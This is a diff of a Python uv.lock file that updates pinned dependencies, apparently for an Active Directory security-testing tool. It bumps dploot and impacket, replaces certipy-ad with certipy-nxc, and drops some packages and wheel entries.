sdist = { url = "https://files.pythonhosted.org/packages/fa/6c/52dee037768f5d940b5ae410d80fd431fef7d210d7f9af83caeb871e88f9/dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248", size = 72339, upload-time = "2026-09-14T13:55:44.529Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/81/96/4f81066afd9dc958c3cea89a3dc371c94cc651d528853545cf3a54bade7c/dploot-3.2.2-py2.py3-none-any.whl", hash = "sha256:8c7e436f382af7ae46642b8dbb91a4aa0818a2556c3ef802197ffd95ba9c8ea9", size = 93718, upload-time = "2026-03-13T16:27:29.83Z" },
{ url = "https://files.pythonhosted.org/packages/19/c0/ede1a114ca34556b2c44844627e043336cb68a76817253682f6d96535fbb/dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a", size = 101304, upload-time = "2026-09-14T13:55:45.849Z" },
]
[[package]]
@@ -771,18 +736,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/f0/29/41a6937ecc61812d09b9177a09c6f4a3edc499c0e227180d572a23e24e7b/dsinternals-1.2.5-py3-none-any.whl", hash = "sha256:25c544558381a86644fc6ef3b131f2a7450675b35e324553cb414b696d86d7bd", size = 200448, upload-time = "2026-02-01T20:43:59.674Z" },
]
[[package]]
name = "exceptiongroup"
version = "1.3.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "typing-extensions", marker = "python_full_version < '3.13'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" },
]
[[package]]
name = "flake8"
version = "7.3.0"
@@ -820,13 +773,6 @@ version = "3.5.5"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/0b/d8/7cc97c142388aef03f622e001c572c4f84e9252a439549d483f555771970/greenlet-3.5.5.tar.gz", hash = "sha256:adb4bae02e91a8e863e48b177e4014bdcac8a6b5e047ea1df687a61534b85e6c", size = 207585, upload-time = "2026-08-10T15:09:36.136Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/07/67/07ecd6d85c0f253363cbc4ac9e7dd048ca571a267fbccfea084d6009ac3b/greenlet-3.5.5-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:816230f469381ad0a43abc9fa8dda5a699e32fb78958dde32ded93213b70a667", size = 292971, upload-time = "2026-08-10T13:28:09.837Z" },
{ url = "https://files.pythonhosted.org/packages/24/35/426733bc24247ee17bb76df90f550c299ff5f8572b2bdd7cacb5c53fd994/greenlet-3.5.5-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a5433cf291e0ef9114bd14d0d824db6e5e4a43033234bca48181a9597acca07b", size = 609290, upload-time = "2026-08-10T14:14:32.273Z" },
{ url = "https://files.pythonhosted.org/packages/9c/dc/17d3a5acceb2fd0bbc9682a228117b719cdfb68085e6dbb33fa325755f27/greenlet-3.5.5-cp310-cp310-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:19d59f068887d8c5907fc177f27683413ace3011b6ed646c0b309266e74a6502", size = 622650, upload-time = "2026-08-10T14:27:22.004Z" },
{ url = "https://files.pythonhosted.org/packages/51/91/00b3c0566316c6f383ea16ee05388ec4f57f6e0afa49e72ae471eda8c47f/greenlet-3.5.5-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9ff00e12102358292087274dfb1669132387ff6e7920ebf9d85f4826ce0d3a56", size = 622819, upload-time = "2026-08-10T13:40:46.562Z" },
{ url = "https://files.pythonhosted.org/packages/3c/78/52de4f7ac9152ad1dbc8f437895c1e573d30ee1e1427e0f91a280e2417b6/greenlet-3.5.5-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:523bb8e27614d77101ea7a8cf59f8d91219b72d5c29f6a038c92b50828bfa8d0", size = 1582164, upload-time = "2026-08-10T14:15:02.645Z" },
{ url = "https://files.pythonhosted.org/packages/f6/ff/c3855a00c2417e8f61c7b9f0bc4f8f599c6928f5c15681ad251e78a91e05/greenlet-3.5.5-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f1e2db190db51c17433eee424803818cf0670bf049d9cfe0dd07be111d1aa7c4", size = 1648807, upload-time = "2026-08-10T13:40:27.471Z" },
{ url = "https://files.pythonhosted.org/packages/70/21/d29ff6a79dbd1ec1fe74c155d25d4c5a85e221d6b9ffc2cc7a709e7c8c39/greenlet-3.5.5-cp310-cp310-win_amd64.whl", hash = "sha256:740e544169527b82695ce76af2f7ad6f030904658f2f3921a1d245771fb88cfc", size = 322832, upload-time = "2026-08-10T13:28:10.85Z" },
{ url = "https://files.pythonhosted.org/packages/4e/a3/07297917485ee2ca85bc3c8dc6ed85ad3fffcf424047fba62671dba68e97/greenlet-3.5.5-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:be63afcbbccfad3dd95a1ba12ada84dab2ef32031973d80b5b92df67fa763a61", size = 294165, upload-time = "2026-08-10T13:25:17.987Z" },
{ url = "https://files.pythonhosted.org/packages/db/51/6f732f9314cda54c5fd48a7620c7160f4f286967e8045ad94b9d66ce80b7/greenlet-3.5.5-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a268024ce2d7d2b04694bf1594058981a9fa663d1df4b762dee499211ed7c1c", size = 613610, upload-time = "2026-08-10T14:14:33.829Z" },
{ url = "https://files.pythonhosted.org/packages/d8/c0/b27589e25d220289edcd4d582b2b17b83058d1a56d53d971b6ea1a34f10d/greenlet-3.5.5-cp311-cp311-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:35cbb8bf55ace57fbccb4fb8622c4521713acd8691e77f4696d416ea7ca527da", size = 625481, upload-time = "2026-08-10T14:27:23.647Z" },
@@ -932,8 +878,8 @@ wheels = [
[[package]]
name = "impacket"
version = "0.14.0.dev0+20260814.164800.c23b3d55"
source = { git = "https://github.com/fortra/impacket#c23b3d55bc846a2460a459437601a94bfd25a269" }
version = "0.14.0.dev0+20261015.95810.75938fcb"
source = { git = "https://github.com/fortra/impacket#75938fcb0145b476250940d740f71394676288cb" }
dependencies = [
{ name = "charset-normalizer" },
{ name = "flask" },
@@ -1044,22 +990,6 @@ version = "6.1.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/05/3b/aab6728cae887456f409b4d75e8a01856e4f04bd510de38052a47768b680/lxml-6.1.1.tar.gz", hash = "sha256:ba96ae44888e0185281e937633a743ea90d5a196c6000f82565ebb0580012d40", size = 4197430, upload-time = "2026-05-18T19:19:06.424Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/12/da/dbe4dfc01ac226fb0504fad035f4d69f3202f3502e20e68537631daddd96/lxml-6.1.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:09dd5b7075dc2f7709654a46543ba1ea3c2e217b2ed8fbd413a8a945a0f40f60", size = 8541124, upload-time = "2026-05-18T19:17:11.589Z" },
{ url = "https://files.pythonhosted.org/packages/78/20/f7095ed9fc2c025f9cfe71cc6ec9f1feb05624edc1812423b5f1aecf3d4b/lxml-6.1.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f6ac4ef4d82dff54670227a69c67782ae0b811b5cf6b17954f1e8f7502fc0d1d", size = 4602783, upload-time = "2026-05-18T19:17:20.888Z" },
{ url = "https://files.pythonhosted.org/packages/4a/a4/65c63ca98bd129f6cff7b8c2fa48953ab058cc6005b541354e7dd54d8000/lxml-6.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:556e94a63c9b04716f8e4de2abb65775061f846e89331b6c5be79183a24f98ea", size = 5002687, upload-time = "2026-05-18T19:17:01.738Z" },
{ url = "https://files.pythonhosted.org/packages/96/1d/ab7a5c4b5a394d98a94e2d0fc67bab8297597426770dd4978370fbdaf531/lxml-6.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5c6bf403fbb3b3e348a561a5f4f0b9961835657981c802a1df03653eef8a9074", size = 5155099, upload-time = "2026-05-18T19:17:05.159Z" },
{ url = "https://files.pythonhosted.org/packages/d0/b1/07603bfeeb891a2596d5c2a68f7d2f70f7d11c841ebe391412c69c2857b0/lxml-6.1.1-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1dde6131244bba38a17c745836ba190bc753fd73c9291666287fd0a3fa3dcf30", size = 5057225, upload-time = "2026-05-18T19:17:08.117Z" },
{ url = "https://files.pythonhosted.org/packages/7a/16/cb391ee4b90186fa16d9ebcbe3ea96c71b8da3b0686386c8dcbcc3c67d44/lxml-6.1.1-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98fc784c2c1440667aeedf8465bdfe10208acf0ead656a2c68627299f546b315", size = 5287643, upload-time = "2026-05-18T19:17:11.507Z" },
{ url = "https://files.pythonhosted.org/packages/eb/d6/b619717f918fd76747448fdbaee0e769edbc70e659b5b5d0112b7020b7a3/lxml-6.1.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:add8cf6ddf9a65116119a28ece0f7886e30af27ba724a7594305f1d1b58a92a1", size = 5412445, upload-time = "2026-05-18T19:17:22.182Z" },
{ url = "https://files.pythonhosted.org/packages/c6/80/12bc5390ac0a3edeb579d9535e5049a5dda663438728e179d52fb319c33a/lxml-6.1.1-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:cf9d57306d848218f3601fee7601fab1a327c942d56e2e97610583cb4dd74206", size = 4770864, upload-time = "2026-05-18T19:17:26.851Z" },
{ url = "https://files.pythonhosted.org/packages/0b/59/6500c09da3137f54f020e908d81cfc5ee3e8888e908fd380207afad7c2e6/lxml-6.1.1-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:88136950da4d13c318bde414ce10219931937851327f44328f2df4d2c4614067", size = 5359594, upload-time = "2026-05-18T19:17:32.527Z" },
{ url = "https://files.pythonhosted.org/packages/f2/9b/f64b4cc6b7ebcf75d95af3cde934d254b5f2f10d4163928d838d86b6eb48/lxml-6.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cecdd5dfdc87b1fd87dbf81d4b037a544f47f4c744200a67013771682d67686a", size = 5107713, upload-time = "2026-05-18T19:17:04.402Z" },
{ url = "https://files.pythonhosted.org/packages/16/19/c7388ad5d3a72315d2832dc1458cbf4f2af7f2b990b606ff4876efd04511/lxml-6.1.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:cd312b9692e831d2ffcad61eab31d91d4b4655a962e61de8fb410472cbcd37aa", size = 4803973, upload-time = "2026-05-18T19:17:06.545Z" },
{ url = "https://files.pythonhosted.org/packages/3f/22/76197f0bbf165f0b9e75be59be4997e5259cde973f12f098c1b54c7f5d60/lxml-6.1.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:5b7328b46d49fc9477d91ae8f6d55340347d827b7734ba3ea33faae0efef1383", size = 5349925, upload-time = "2026-05-18T19:17:09.743Z" },
{ url = "https://files.pythonhosted.org/packages/24/52/d2a0cfeccb9bcdc47c7ee05cdae5d69b48c9acf20997790a6338bb0d0b3b/lxml-6.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:37a58976370f36d9329d118ad0b953c5aeb9119ac9c6a4e258942a225d0573a1", size = 5309825, upload-time = "2026-05-18T19:17:13.831Z" },
{ url = "https://files.pythonhosted.org/packages/19/4a/b30944266776c2f49749ef2445aa7e78898194134b80ad776386f61b56ae/lxml-6.1.1-cp310-cp310-win32.whl", hash = "sha256:cea3f4c1af79af13cdb2da0c028111d8f8522d4f22a000c82385535f24e5cf3a", size = 3598402, upload-time = "2026-05-18T19:17:08.21Z" },
{ url = "https://files.pythonhosted.org/packages/9e/97/33691c66a4d7ec1a5a98e7c909a5b83ee45c7f7ba4cf92b1c4cf26e98079/lxml-6.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:3abf332af33a74288675d936fe861fd4344da0dd6622193fbc4f2bfbb35536b5", size = 4021295, upload-time = "2026-05-18T19:17:28.638Z" },
{ url = "https://files.pythonhosted.org/packages/d0/5f/26a4dd0e12b9456ff7b12a21af5b491eb6629680d1edd73f4140fd386bcf/lxml-6.1.1-cp310-cp310-win_arm64.whl", hash = "sha256:8dadbe5b217ff35b6a8d16610dd710219b59b76d13f0e3f0d9f36786206e4485", size = 3667717, upload-time = "2026-05-19T19:22:44.474Z" },
{ url = "https://files.pythonhosted.org/packages/62/b0/83f481780d1548750b8ce2ec824073deef2f452d9cd1a6faff8507e3d16d/lxml-6.1.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:53b7d2b7a10b1c35c0a5e21e9224accf60c1bbfba523990732e521b2b73adef2", size = 8526461, upload-time = "2026-05-18T19:17:25.862Z" },
{ url = "https://files.pythonhosted.org/packages/b9/d5/30fa0f808002c7329397bfbb24e306789c0b29f04aa5842c07b174b4216f/lxml-6.1.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ff3f333630ab480244a1bff72043e511a91eb22e7595dead8653ee5612dd8f3d", size = 4595375, upload-time = "2026-05-18T19:17:34.555Z" },
{ url = "https://files.pythonhosted.org/packages/4f/d2/edb71cf0e561581a7c5eb2626244320eb04e9f8ce6d563184fd668b45073/lxml-6.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a4bbea04c97f6d78a48e3fbc1cb9116d2780b1b39e03a23f6eb9b603fd61f510", size = 4923654, upload-time = "2026-05-18T19:17:42.917Z" },
@@ -1174,17 +1104,6 @@ version = "3.0.3"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/e8/4b/3541d44f3937ba468b75da9eebcae497dcf67adb65caa16760b0a6807ebb/markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559", size = 11631, upload-time = "2025-09-27T18:36:05.558Z" },
{ url = "https://files.pythonhosted.org/packages/98/1b/fbd8eed11021cabd9226c37342fa6ca4e8a98d8188a8d9b66740494960e4/markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419", size = 12057, upload-time = "2025-09-27T18:36:07.165Z" },
{ url = "https://files.pythonhosted.org/packages/40/01/e560d658dc0bb8ab762670ece35281dec7b6c1b33f5fbc09ebb57a185519/markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695", size = 22050, upload-time = "2025-09-27T18:36:08.005Z" },
{ url = "https://files.pythonhosted.org/packages/af/cd/ce6e848bbf2c32314c9b237839119c5a564a59725b53157c856e90937b7a/markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591", size = 20681, upload-time = "2025-09-27T18:36:08.881Z" },
{ url = "https://files.pythonhosted.org/packages/c9/2a/b5c12c809f1c3045c4d580b035a743d12fcde53cf685dbc44660826308da/markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c", size = 20705, upload-time = "2025-09-27T18:36:10.131Z" },
{ url = "https://files.pythonhosted.org/packages/cf/e3/9427a68c82728d0a88c50f890d0fc072a1484de2f3ac1ad0bfc1a7214fd5/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f", size = 21524, upload-time = "2025-09-27T18:36:11.324Z" },
{ url = "https://files.pythonhosted.org/packages/bc/36/23578f29e9e582a4d0278e009b38081dbe363c5e7165113fad546918a232/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6", size = 20282, upload-time = "2025-09-27T18:36:12.573Z" },
{ url = "https://files.pythonhosted.org/packages/56/21/dca11354e756ebd03e036bd8ad58d6d7168c80ce1fe5e75218e4945cbab7/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1", size = 20745, upload-time = "2025-09-27T18:36:13.504Z" },
{ url = "https://files.pythonhosted.org/packages/87/99/faba9369a7ad6e4d10b6a5fbf71fa2a188fe4a593b15f0963b73859a1bbd/markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa", size = 14571, upload-time = "2025-09-27T18:36:14.779Z" },
{ url = "https://files.pythonhosted.org/packages/d6/25/55dc3ab959917602c96985cb1253efaa4ff42f71194bddeb61eb7278b8be/markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8", size = 15056, upload-time = "2025-09-27T18:36:16.125Z" },
{ url = "https://files.pythonhosted.org/packages/d0/9e/0a02226640c255d1da0b8d12e24ac2aa6734da68bff14c05dd53b94a0fc3/markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1", size = 13932, upload-time = "2025-09-27T18:36:17.311Z" },
{ url = "https://files.pythonhosted.org/packages/08/db/fefacb2136439fc8dd20e797950e749aa1f4997ed584c62cfb8ef7c2be0e/markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad", size = 11631, upload-time = "2025-09-27T18:36:18.185Z" },
{ url = "https://files.pythonhosted.org/packages/e1/2e/5898933336b61975ce9dc04decbc0a7f2fee78c30353c5efba7f2d6ff27a/markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a", size = 12058, upload-time = "2025-09-27T18:36:19.444Z" },
{ url = "https://files.pythonhosted.org/packages/1d/09/adf2df3699d87d1d8184038df46a9c80d78c0148492323f4693df54e17bb/markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50", size = 24287, upload-time = "2025-09-27T18:36:20.768Z" },
@@ -1364,7 +1283,7 @@ dependencies = [
{ name = "beautifulsoup4" },
{ name = "bloodhound-ce" },
{ name = "certihound" },
{ name = "certipy-ad" },
{ name = "certipy-nxc" },
{ name = "cryptography" },
{ name = "dploot" },
{ name = "dsinternals" },
@@ -1402,15 +1321,15 @@ dev = [
[package.metadata]
requires-dist = [
{ name = "aardwolf", specifier = ">=0.2.8" },
{ name = "aardwolf", specifier = ">=0.2.16" },
{ name = "argcomplete", specifier = ">=3.1.4" },
{ name = "asyauth", specifier = ">=0.0.20" },
{ name = "beautifulsoup4", specifier = ">=4.11,<5" },
{ name = "bloodhound-ce", specifier = ">=1.8.0" },
{ name = "certihound", specifier = ">=0.1.1" },
{ name = "certipy-ad", git = "https://github.com/Pennyw0rth/Certipy" },
{ name = "certipy-nxc", specifier = ">=5.1.0.post1" },
{ name = "cryptography", specifier = ">=42.0.8" },
{ name = "dploot", specifier = ">=3.2.2,<4.0.0" },
{ name = "dploot", specifier = ">=4.0.0" },
{ name = "dsinternals", specifier = ">=1.2.4" },
{ name = "impacket", git = "https://github.com/fortra/impacket" },
{ name = "jwt", specifier = ">=1.3.1" },
@@ -1495,21 +1414,24 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/54/16/12b82f791c7f50ddec566873d5bdd245baa1491bac11d15ffb98aecc8f8b/pefile-2024.8.26-py3-none-any.whl", hash = "sha256:76f8b485dcd3b1bb8166f1128d395fa3d87af26360c2358fb75b80019b957c6f", size = 74766, upload-time = "2024-08-26T21:01:02.632Z" },
]
[[package]]
name = "pick"
version = "2.6.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "windows-curses", marker = "sys_platform == 'win32'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/b6/f9/450cc44b21190d99b86df3e59f7573d85f3ef2c4f7670ce4f65cb2def3b4/pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82", size = 6266, upload-time = "2026-02-28T13:47:06.31Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/a5/93/704982e09f3481d2055cf8ef7372445dc8ea6c883daf60f0816deb9e362c/pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f", size = 7890, upload-time = "2026-02-28T13:47:05.311Z" },
]
[[package]]
name = "pillow"
version = "12.3.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/1c/3d/bb7fca845737cf9d7dbde16ed1843984665ff2e0a518f5db43e77ec540b9/pillow-12.3.0.tar.gz", hash = "sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce", size = 47025035, upload-time = "2026-07-01T11:56:38.965Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/25/c2/669d88644cddb1485bd9534e63e8cf476c8e51cb3c3a1297677023505c0e/pillow-12.3.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a", size = 5392418, upload-time = "2026-07-01T11:53:27.808Z" },
{ url = "https://files.pythonhosted.org/packages/6b/ba/3762f376a2948e3036488d773a146e0ae6ecc2ca03ac20e2615bd0b2ba02/pillow-12.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7", size = 4785287, upload-time = "2026-07-01T11:53:29.761Z" },
{ url = "https://files.pythonhosted.org/packages/07/50/b5d688cc9c52d4482f3d5bcab6ce20bc2a74a85d2343841c907444a3be2c/pillow-12.3.0-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f", size = 6253754, upload-time = "2026-07-01T11:53:32.298Z" },
{ url = "https://files.pythonhosted.org/packages/4e/89/36f4cd76cf4baf05c50ababb976249153f18c959171c7f6ba09a6f217260/pillow-12.3.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f0606c8bf2cdefea14a43530f7657cbbb7ecf1c4222512492ef4a4434a9501ec", size = 6925605, upload-time = "2026-07-01T11:53:34.487Z" },
{ url = "https://files.pythonhosted.org/packages/eb/c0/4de58cf6633b9e3a6061ef4be6fb91fc3c90b812ece886f531e3c523d777/pillow-12.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468", size = 6327788, upload-time = "2026-07-01T11:53:36.433Z" },
{ url = "https://files.pythonhosted.org/packages/87/3c/14d53682a19550dbbaf3b598f807d5457646c510805a44c7d7891cd1cd1a/pillow-12.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed", size = 7036288, upload-time = "2026-07-01T11:53:38.712Z" },
{ url = "https://files.pythonhosted.org/packages/38/1d/36279e3c77efe034e4cc2b0393ee74ffdb5a62391dacbf9b916154f5f0b8/pillow-12.3.0-cp310-cp310-win32.whl", hash = "sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1", size = 6472396, upload-time = "2026-07-01T11:53:40.781Z" },
{ url = "https://files.pythonhosted.org/packages/48/7c/8fa0039574c476d7c6fa57dd7c32a130436877c6ec1e5ce1cc8ec44878c1/pillow-12.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb", size = 7226887, upload-time = "2026-07-01T11:53:42.764Z" },
{ url = "https://files.pythonhosted.org/packages/fa/17/e324be141d173c1c919428066c3259f21c1b8982e564e01a4a81e96dbdcf/pillow-12.3.0-cp310-cp310-win_arm64.whl", hash = "sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f", size = 2568039, upload-time = "2026-07-01T11:53:45.372Z" },
{ url = "https://files.pythonhosted.org/packages/fb/c8/0a78b0e02d7ac54bc03e5321c9220da52f0c2ea83b21f7c40e7f3169c502/pillow-12.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756", size = 5392415, upload-time = "2026-07-01T11:53:47.162Z" },
{ url = "https://files.pythonhosted.org/packages/b2/5b/a02d30018abd97ced9f5a6c63d28597694a00d066516b9c1c6de45859fc9/pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6", size = 4785266, upload-time = "2026-07-01T11:53:49.079Z" },
{ url = "https://files.pythonhosted.org/packages/c8/98/766667a4be768150a202836acd9fad19c06824ca86c4286d3cf6b274964e/pillow-12.3.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd", size = 6263814, upload-time = "2026-07-01T11:53:51.32Z" },
@@ -1674,11 +1596,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/b8/2a/25e0be2b509c28375c7f75c7e8d8d060773f2cce4856a1654276e3202339/pycryptodome-3.22.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:d21c1eda2f42211f18a25db4eaf8056c94a8563cd39da3683f89fe0d881fb772", size = 2262255, upload-time = "2025-03-15T23:02:58.055Z" },
{ url = "https://files.pythonhosted.org/packages/41/58/60917bc4bbd91712e53ce04daf237a74a0ad731383a01288130672994328/pycryptodome-3.22.0-cp37-abi3-win32.whl", hash = "sha256:f02baa9f5e35934c6e8dcec91fcde96612bdefef6e442813b8ea34e82c84bbfb", size = 1763403, upload-time = "2025-03-15T23:03:00.616Z" },
{ url = "https://files.pythonhosted.org/packages/55/f4/244c621afcf7867e23f63cfd7a9630f14cfe946c9be7e566af6c3915bcde/pycryptodome-3.22.0-cp37-abi3-win_amd64.whl", hash = "sha256:d086aed307e96d40c23c42418cbbca22ecc0ab4a8a0e24f87932eeab26c08627", size = 1794568, upload-time = "2025-03-15T23:03:03.189Z" },
{ url = "https://files.pythonhosted.org/packages/37/c3/e3423e72669ca09f141aae493e1feaa8b8475859898b04f57078280a61c4/pycryptodome-3.22.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:b4bdce34af16c1dcc7f8c66185684be15f5818afd2a82b75a4ce6b55f9783e13", size = 1618698, upload-time = "2025-03-15T23:03:11.163Z" },
{ url = "https://files.pythonhosted.org/packages/f9/b7/35eec0b3919cafea362dcb68bb0654d9cb3cde6da6b7a9d8480ce0bf203a/pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2988ffcd5137dc2d27eb51cd18c0f0f68e5b009d5fec56fbccb638f90934f333", size = 1666957, upload-time = "2025-03-15T23:03:14.03Z" },
{ url = "https://files.pythonhosted.org/packages/b0/1f/f49bccdd8d61f1da4278eb0d6aee7f988f1a6ec4056b0c2dc51eda45ae27/pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e653519dedcd1532788547f00eeb6108cc7ce9efdf5cc9996abce0d53f95d5a9", size = 1659242, upload-time = "2025-03-15T23:03:16.185Z" },
